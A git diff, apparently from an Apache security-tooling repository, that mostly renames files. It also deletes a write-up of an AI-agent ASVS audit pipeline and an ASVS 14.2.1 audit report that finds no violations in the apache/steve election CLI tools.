diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.1.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.2.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.5.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.1.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.2.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.6.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.1.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.2.md b/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/vote_encryption_and_crypto/11.7.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.6.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.7.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.8.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.2.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/webrtc_media_security/17.3.2.md
diff --git a/repos/tooling-trusted-releases/ASVS/reports/da901ba/consolidated-L1-L2.md b/ASVS/reports/tooling-trusted-releases/da901ba/consolidated-L1-L2.md
similarity index 100%
rename from repos/tooling-trusted-releases/ASVS/reports/da901ba/consolidated-L1-L2.md
rename to ASVS/reports/tooling-trusted-releases/da901ba/consolidated-L1-L2.md
diff --git a/repos/tooling-trusted-releases/ASVS/reports/da901ba/issues-L1-L2.md b/ASVS/reports/tooling-trusted-releases/da901ba/issues-L1-L2.md
similarity index 100%
rename from repos/tooling-trusted-releases/ASVS/reports/da901ba/issues-L1-L2.md
rename to ASVS/reports/tooling-trusted-releases/da901ba/issues-L1-L2.md
diff --git a/repos/apache/ASVS/rerun-sections.sh b/ASVS/rerun-sections.sh
similarity index 100%
rename from repos/apache/ASVS/rerun-sections.sh
rename to ASVS/rerun-sections.sh
diff --git a/docs/ASVS/security-audit-tooling.md b/docs/ASVS/security-audit-tooling.md
deleted file mode 100644
index 51ac98c..0000000
--- a/docs/ASVS/security-audit-tooling.md
+++ /dev/null
@@ -1,83 +0,0 @@
-# Security Audit Tooling
-
-This page provides an overview of the goals, tooling, and current state of security audit automation for ATR.
-
-- [Motivation](#motivation)
-- [Current state](#current-state)
-- [Approaches](#approaches)
-- [Phases](#phases)
-
-## Motivation
-
-Apache Trusted Releases (ATR) is a release management tool for verifying and distributing Apache releases securely. As such there is a need for all code, configuration, and workflows in ATR to comply with high standards for security. The Tooling team have adopted the [Application Security Verification Standard (ASVS) v5.0.0](https://raw.githubusercontent.com/OWASP/ASVS/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf) from the [Open Worldwide Application Security [...]
-
-The ASVS defines three levels of security verification, with L1 comprising the highest priority and most critical requirements, L2 including defenses against less common threats, and L3 rounding out the highest level of compliance. Requirements in L1 are about 20% of the spec, in L2 about 50%, and in L3 about 30%. For the beta release of ATR in early 2026 the target is to fulfill all requirements in L1 and the bulk of L2, noting that some of the requirements will need infrastructure chan [...]
-
-To accelerate this goal the Tooling team is running an internal pilot of automated code auditing, to work through the requirements while maintaining momentum on ATR feature development.
-
-## Current state
-
-### What has been built
-
-A complete ASVS security audit pipeline using Gofannon, consisting of 9 agents that automate the end-to-end process of analyzing ATR source code against individual ASVS requirements. The pipeline uses Claude Sonnet for high-throughput parallel work (relevance filtering, code inventory, formatting, extraction, consolidation) and Claude Opus for deep security analysis where reasoning quality matters most.
-
-The pipeline agents, their code, prompts, and operational runbook are in [`repos/tooling-trusted-releases/ASVS/`](../../repos/tooling-trusted-releases/ASVS/).
-
-The core pipeline flow:
-
-1. **Data setup** — ASVS requirements ingested from the v5.0.0 spec into CouchDB. Source code from ATR and its dependencies (asfquart, asfpy) downloaded into the same store, along with relevant `infrastructure-p6` configs, open Issues, and `audit_guidance` documentation.
-2. **Per-requirement audit** — for each ASVS requirement, an audit agent reads the codebase, filters for relevant files , builds a code inventory, runs deep analysis, and produces a structured markdown report.
-3. **Orchestration** — an orchestrator loops over comma-separated sections, runs the audit for each, and pushes individual reports to GitHub.
-4. **Consolidation** — a consolidation agent reads all individual reports from one or more ASVS level directories, extracts and deduplicates findings, and produces a consolidated report with an issues file.
-
-### What has been run
-
-Audit runs completed against ATR at a few snapshots, latest is commit `da901ba`:
-
-- **L1 run**: 70 ASVS requirements covering the highest-priority security controls
-- **L2 run**: 183 ASVS requirements covering the broader L2 defenses
-
-Individual reports are pushed to GitHub organized by commit hash and ASVS level. Consolidated reports and issues files are generated at the parent level. See [`repos/tooling-trusted-releases/ASVS/reports/`](../../repos/tooling-trusted-releases/ASVS/reports/) for report structure.
-
-### Results and ground truth
-
-ATR has [137 filed GitHub issues](https://github.com/apache/tooling-trusted-releases/issues?q=is%3Aissue%20label%3AASVS) from this security review. The pipeline's consolidated reports identify findings across all severity levels with deduplication tracking which ASVS sections and levels flagged each issue. So far about [thirty issues](https://github.com/apache/tooling-trusted-releases/issues?q=is%3Aissue%20label%3AASVS%20label%3Allm) were directly fed back into this audit system with lin [...]
-
-### Key technical decisions
-
-- **Opus tuning**: `reasoning_effort=medium`, `max_tokens=64000` — reduced from `high`/`128000` after analysis showed failures correlated with batch count (each call at high reasoning took 20-30 min, increasing Bedrock disconnect probability)
-- **Context loading**: local data store reads for code, config, audit_guidance, and open Issues
-- **Inventory capping**: always limited to 15% of safe Opus context limit to prevent excessive batch counts
-- **Retry logic**: 3 retries on Opus (15s/30s/45s backoff), 2 retries on all Sonnet calls
-
-## Approaches
-
-- ASVS-oriented automated auditing as standalone tool — **implemented** (see [pipeline runbook](../../repos/tooling-trusted-releases/ASVS/))
-- Page on ATR for audit suites including ASVS compliance
-- GitHub Action (audit on demand/commit, reporting, etc.) for ASF projects
-
-## Phases
-
-### Research
-
-- Initial requirements and assessment for ASVS compliance
-- Tool evaluation (Scorecard, VEX, Gofannon)
-- Identified gaps: no existing tool covers deep ASVS-per-requirement code analysis
-
-### Initial build
-
-- Built 9-agent pipeline on Gofannon with CouchDB persistence
-- Tuned Opus analysis parameters for Bedrock reliability
-- Multi-level consolidation with deduplication and level tracking
-- ✅ L1 run (~70 sections) against ATR codebase
-- ✅ L2 run (~183 sections) against ATR codebase
-- ✅ Consolidated report and issues file generation
-
-### Next steps
-
-- Pipeline piloted with other ASF projects
-- Interactive triage
- - Marking issues with triage decision
- - Auto-filed Issues to GitHub
- - Automatic PR generation
-- CI/CD integration for commit and PR security reviews
diff --git a/repos/apache/github-review/README.md b/gha-review/README.md
similarity index 100%
rename from repos/apache/github-review/README.md
rename to gha-review/README.md
diff --git a/repos/apache/github-review/agents/README.md b/gha-review/agents/README.md
similarity index 100%
rename from repos/apache/github-review/agents/README.md
rename to gha-review/agents/README.md
diff --git a/repos/apache/github-review/agents/brief.py b/gha-review/agents/brief.py
similarity index 100%
rename from repos/apache/github-review/agents/brief.py
rename to gha-review/agents/brief.py
diff --git a/repos/apache/github-review/agents/json-export.py b/gha-review/agents/json-export.py
similarity index 100%
rename from repos/apache/github-review/agents/json-export.py
rename to gha-review/agents/json-export.py
diff --git a/repos/apache/github-review/agents/orchestrator.py b/gha-review/agents/orchestrator.py
similarity index 100%
rename from repos/apache/github-review/agents/orchestrator.py
rename to gha-review/agents/orchestrator.py
diff --git a/repos/apache/github-review/agents/pre-fetch.py b/gha-review/agents/pre-fetch.py
similarity index 100%
rename from repos/apache/github-review/agents/pre-fetch.py
rename to gha-review/agents/pre-fetch.py
diff --git a/repos/apache/github-review/agents/publishing.py b/gha-review/agents/publishing.py
similarity index 100%
rename from repos/apache/github-review/agents/publishing.py
rename to gha-review/agents/publishing.py
diff --git a/repos/apache/github-review/agents/review.py b/gha-review/agents/review.py
similarity index 100%
rename from repos/apache/github-review/agents/review.py
rename to gha-review/agents/review.py
diff --git a/repos/apache/github-review/agents/security.py b/gha-review/agents/security.py
similarity index 100%
rename from repos/apache/github-review/agents/security.py
rename to gha-review/agents/security.py
diff --git a/repos/apache/github-review/agents/tests/README.md b/gha-review/agents/tests/README.md
similarity index 100%
rename from repos/apache/github-review/agents/tests/README.md
rename to gha-review/agents/tests/README.md
diff --git a/repos/apache/github-review/agents/tests/fixtures/real-world/beam-users-permissions.yml b/gha-review/agents/tests/fixtures/real-world/beam-users-permissions.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/real-world/beam-users-permissions.yml
rename to gha-review/agents/tests/fixtures/real-world/beam-users-permissions.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/real-world/opendal-full-ci-promote.yml b/gha-review/agents/tests/fixtures/real-world/opendal-full-ci-promote.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/real-world/opendal-full-ci-promote.yml
rename to gha-review/agents/tests/fixtures/real-world/opendal-full-ci-promote.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/real-world/texera-email-notif.yml b/gha-review/agents/tests/fixtures/real-world/texera-email-notif.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/real-world/texera-email-notif.yml
rename to gha-review/agents/tests/fixtures/real-world/texera-email-notif.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/broad-perms-high.yml b/gha-review/agents/tests/fixtures/synthetic/broad-perms-high.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/broad-perms-high.yml
rename to gha-review/agents/tests/fixtures/synthetic/broad-perms-high.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/cache-poisoning-info.yml b/gha-review/agents/tests/fixtures/synthetic/cache-poisoning-info.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/cache-poisoning-info.yml
rename to gha-review/agents/tests/fixtures/synthetic/cache-poisoning-info.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/injection-critical-prt-trigger.yml b/gha-review/agents/tests/fixtures/synthetic/injection-critical-prt-trigger.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/injection-critical-prt-trigger.yml
rename to gha-review/agents/tests/fixtures/synthetic/injection-critical-prt-trigger.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/injection-low-pr-trigger.yml b/gha-review/agents/tests/fixtures/synthetic/injection-low-pr-trigger.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/injection-low-pr-trigger.yml
rename to gha-review/agents/tests/fixtures/synthetic/injection-low-pr-trigger.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/injection-low-secret.yml b/gha-review/agents/tests/fixtures/synthetic/injection-low-secret.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/injection-low-secret.yml
rename to gha-review/agents/tests/fixtures/synthetic/injection-low-secret.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/no-prt-none.yml b/gha-review/agents/tests/fixtures/synthetic/no-prt-none.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/no-prt-none.yml
rename to gha-review/agents/tests/fixtures/synthetic/no-prt-none.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/prt-critical-broad-perms.yml b/gha-review/agents/tests/fixtures/synthetic/prt-critical-broad-perms.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/prt-critical-broad-perms.yml
rename to gha-review/agents/tests/fixtures/synthetic/prt-critical-broad-perms.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/prt-info-default-ref.yml b/gha-review/agents/tests/fixtures/synthetic/prt-info-default-ref.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/prt-info-default-ref.yml
rename to gha-review/agents/tests/fixtures/synthetic/prt-info-default-ref.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/prt-low-both-mitigations.yml b/gha-review/agents/tests/fixtures/synthetic/prt-low-both-mitigations.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/prt-low-both-mitigations.yml
rename to gha-review/agents/tests/fixtures/synthetic/prt-low-both-mitigations.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/prt-medium-labeled.yml b/gha-review/agents/tests/fixtures/synthetic/prt-medium-labeled.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/prt-medium-labeled.yml
rename to gha-review/agents/tests/fixtures/synthetic/prt-medium-labeled.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/prt-medium-limited-perms.yml b/gha-review/agents/tests/fixtures/synthetic/prt-medium-limited-perms.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/prt-medium-limited-perms.yml
rename to gha-review/agents/tests/fixtures/synthetic/prt-medium-limited-perms.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-high-pr.yml b/gha-review/agents/tests/fixtures/synthetic/self-hosted-high-pr.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-high-pr.yml
rename to gha-review/agents/tests/fixtures/synthetic/self-hosted-high-pr.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-info-push.yml b/gha-review/agents/tests/fixtures/synthetic/self-hosted-info-push.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-info-push.yml
rename to gha-review/agents/tests/fixtures/synthetic/self-hosted-info-push.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-low-both-mitigations.yml b/gha-review/agents/tests/fixtures/synthetic/self-hosted-low-both-mitigations.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-low-both-mitigations.yml
rename to gha-review/agents/tests/fixtures/synthetic/self-hosted-low-both-mitigations.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-medium-labeled.yml b/gha-review/agents/tests/fixtures/synthetic/self-hosted-medium-labeled.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-medium-labeled.yml
rename to gha-review/agents/tests/fixtures/synthetic/self-hosted-medium-labeled.yml
diff --git a/repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-medium-limited-perms.yml b/gha-review/agents/tests/fixtures/synthetic/self-hosted-medium-limited-perms.yml
similarity index 100%
rename from repos/apache/github-review/agents/tests/fixtures/synthetic/self-hosted-medium-limited-perms.yml
rename to gha-review/agents/tests/fixtures/synthetic/self-hosted-medium-limited-perms.yml
diff --git a/repos/apache/github-review/agents/tests/security_checks.py b/gha-review/agents/tests/security_checks.py
similarity index 100%
rename from repos/apache/github-review/agents/tests/security_checks.py
rename to gha-review/agents/tests/security_checks.py
diff --git a/repos/apache/github-review/agents/tests/test_security_checks.py b/gha-review/agents/tests/test_security_checks.py
similarity index 100%
rename from repos/apache/github-review/agents/tests/test_security_checks.py
rename to gha-review/agents/tests/test_security_checks.py
diff --git a/repos/apache/github-review/reports/README.md b/gha-review/reports/README.md
similarity index 100%
rename from repos/apache/github-review/reports/README.md
rename to gha-review/reports/README.md
diff --git a/repos/apache/github-review/reports/brief.md b/gha-review/reports/brief.md
similarity index 100%
rename from repos/apache/github-review/reports/brief.md
rename to gha-review/reports/brief.md
diff --git a/repos/apache/github-review/reports/json-export.json b/gha-review/reports/json-export.json
similarity index 100%
rename from repos/apache/github-review/reports/json-export.json
rename to gha-review/reports/json-export.json
diff --git a/repos/apache/github-review/reports/publishing.md b/gha-review/reports/publishing.md
similarity index 100%
rename from repos/apache/github-review/reports/publishing.md
rename to gha-review/reports/publishing.md
diff --git a/repos/apache/github-review/reports/review.md b/gha-review/reports/review.md
similarity index 100%
rename from repos/apache/github-review/reports/review.md
rename to gha-review/reports/review.md
diff --git a/repos/apache/github-review/reports/security.md b/gha-review/reports/security.md
similarity index 100%
rename from repos/apache/github-review/reports/security.md
rename to gha-review/reports/security.md
diff --git a/repos/README.md b/repos/README.md
deleted file mode 100644
index 0fee131..0000000
--- a/repos/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# repos
-
-Per-repository agent work, organized by target repository and area of focus.
-
-Each subdirectory corresponds to an Apache repository that agents are being developed for. Within each, subdirectories cover specific areas (e.g., ASVS compliance, dependency scanning, commit review).
-
-## Current repositories
-
-| Repository | Area | Description |
-|------------|------|-------------|
-| [github-review](apache/github-review/) | [GitHub Security](apache/github-review/) | Automated `.github` catalog of actions and workflows |
-| [tooling-trusted-releases](tooling-trusted-releases/) | [ATR ASVS](tooling-trusted-releases/ASVS/) | Automated ASVS L1/L2 security audit pipeline |
-| [apache/ASVS](apache/ASVS/) | [apache/ASVS](apache/ASVS/) | Automated ASVS L1/L2 security audit pipeline |
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/admin_tallying_operations/14.2.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/admin_tallying_operations/14.2.1.md
deleted file mode 100644
index 7085779..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/admin_tallying_operations/14.2.1.md
+++ /dev/null
@@ -1,188 +0,0 @@
-# ASVS 14.2.1 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 14.2.1 — Verify that sensitive data is only sent to the server in the HTTP message body or header fields, and that the URL and query string do not contain sensitive information, such as an API key or session token.
-- **ASVS Level:** 1
-- **Section:** General Data Protection
-- **Files Analyzed:** 5 relevant out of 5 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count |
-|----------|-------|
-| Critical | 0 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **0** |
-
-### Applicability Assessment
-
-ASVS 14.2.1 targets the HTTP request/response cycle — specifically preventing sensitive data (API keys, session tokens, credentials) from appearing in URLs and query strings where they would be logged by proxies, browsers, and server access logs.
-
-All five files under audit are **command-line tools or library modules** that operate outside the web request cycle. The requirement is **not applicable** to this codebase component as it does not participate in HTTP communications.
-
----
-
-## Security Controls Inventory
-
-| Control | Location | Purpose | Coverage Status |
-|---------|----------|---------|-----------------|
-| CLI argument parsing (argparse) | All three scripts | Secure input handling via structured argument parsing | ✅ All entry points covered; no HTTP URLs involved |
-| Database path as CLI arg | `tally.py:--db-path`, hardcoded in others | Filesystem access control | ✅ Not sensitive data (filesystem path, not credential) |
-| Election/Issue IDs as CLI args | `tally.py`, `mail-voters.py` | Resource identification | ✅ Identifiers only, not secrets/tokens |
-| Email sending | `mail-voters.py:main()` | Voter notification transport | ✅ Uses `asfpy.messaging.mail()` with body, not URL-based |
-| Output to stdout | `tally.py:tally_election()` | Results reporting | ✅ Terminal output only, not via HTTP |
-| YAML file for election config | `create-election.py` | Election setup data input | ✅ Local file access, reduces CLI exposure |
-| Tampering detection | `tally.py` | Data integrity verification | ✅ Checks `election.is_tampered(pdb)` before decryption |
-
----
-
-## Critical File Review
-
-### HTTP Usage Analysis
-
-| File | HTTP Usage | Sensitive Data in URLs/Query Strings | Finding |
-|------|-----------|--------------------------------------|---------|
-| `create-election.py` | None (CLI tool) | N/A — no HTTP requests made | ✅ No violation |
-| `mail-voters.py` | None (uses SMTP via `asfpy.messaging`) | N/A — email sent via library, not HTTP URL | ✅ No violation |
-| `tally.py` | None (CLI tool) | N/A — no HTTP requests made | ✅ No violation |
-| `stv.py` | None (library module) | N/A — pure computation | ✅ No violation |
-| `yna.py` | None (library module) | N/A — pure computation | ✅ No violation |
-
-### CLI Argument Sensitivity Analysis
-
-| Script | CLI Arguments | Contains Secrets? | Assessment |
-|--------|--------------|-------------------|------------|
-| `create-election.py` | `yaml_file` (path) | No — file path only | ✅ Safe |
-| `mail-voters.py` | `--eid` (election ID), `--template` (path) | No — identifiers and paths | ✅ Safe |
-| `tally.py` | `--election-id`, `--issue-id`, `--db-path`, `--output`, `--spy-on-open-elections` | No — identifiers, paths, flags | ✅ Safe |
-
-**Analysis:** No encryption keys, database credentials, or authentication tokens are passed as CLI arguments (which would appear in `/proc/*/cmdline` and shell history). The sensitive election encryption key is derived internally within `steve.election`, not passed externally.
-
----
-
-## Findings
-
-### Summary
-
-**No findings identified.** The ASVS 14.2.1 requirement is not violated by these command-line administrative tools because they do not participate in the HTTP request cycle and do not transmit sensitive data via URLs or query strings.
-
-All five files under audit are command-line tools or library modules that:
-
-1. Accept input exclusively via **CLI arguments** (argparse) and **local file paths**
-2. Make **no outbound HTTP requests** with sensitive data in URLs
-3. Interact with **local SQLite databases** via direct file access
-4. Send email via `asfpy.messaging.mail()` which uses message body, not URL parameters
-
-No sensitive data (encryption keys, session tokens, voter credentials, decrypted vote contents) is passed through any URL or query string mechanism.
-
----
-
-## Positive Security Patterns
-
-The following security-positive patterns were identified in the codebase:
-
-1. **No HTTP surface area**: All tools operate locally via filesystem and direct database access, eliminating the URL/query-string attack surface entirely. This architectural decision inherently prevents the vulnerability class addressed by ASVS 14.2.1.
-
-2. **Sensitive data stays internal**: Decryption keys are derived inside `election.tally_issue()`, never exposed via arguments or URLs. This follows the principle of minimal exposure for cryptographic material.
-
-3. **Email body, not URL**: `mail-voters.py` sends voter PII (email, name) in the email message body via `asfpy.messaging.mail()`, not appended to any URL. This prevents accidental logging of sensitive voter information in HTTP access logs or browser history.
-
-4. **YAML file for election config**: `create-election.py` reads sensitive election setup data from a local YAML file rather than passing it as individual command-line arguments, reducing exposure in process listings (e.g., `ps`, `/proc/*/cmdline`).
-
-5. **Tampering detection before data access**: `tally.py` checks `election.is_tampered(pdb)` before decrypting and outputting any vote data, ensuring data integrity before sensitive operations.
-
-6. **Structured argument parsing**: All scripts use `argparse` for CLI input handling, providing type safety and validation rather than raw argument processing.
-
-7. **Abstracted transport layer**: Email sending delegates to `asfpy.messaging` which abstracts the transport layer, preventing accidental URL-based credential exposure and ensuring proper message formatting.
-
----
-
-## Architecture Observations
-
-### Trust Boundary Placement
-
-The separation of these tools as CLI scripts rather than web endpoints is a sound architectural choice that eliminates the URL/query-string sensitive data leakage risk addressed by ASVS 14.2.1. The trust boundary is correctly placed at filesystem/OS access control rather than HTTP authentication, which is appropriate for administrative tooling.
-
-### Data Flow Architecture
-
-The sensitive data handling (vote decryption, voter PII, election keys) occurs entirely within local process memory and direct database access, with no HTTP-based data transmission pathway. This design pattern inherently mitigates several classes of web application vulnerabilities including:
-
-- URL-based sensitive data leakage (ASVS 14.2.1)
-- Browser history exposure
-- Proxy/CDN logging of sensitive parameters
-- Referer header leakage
-
-### Operational Security Considerations
-
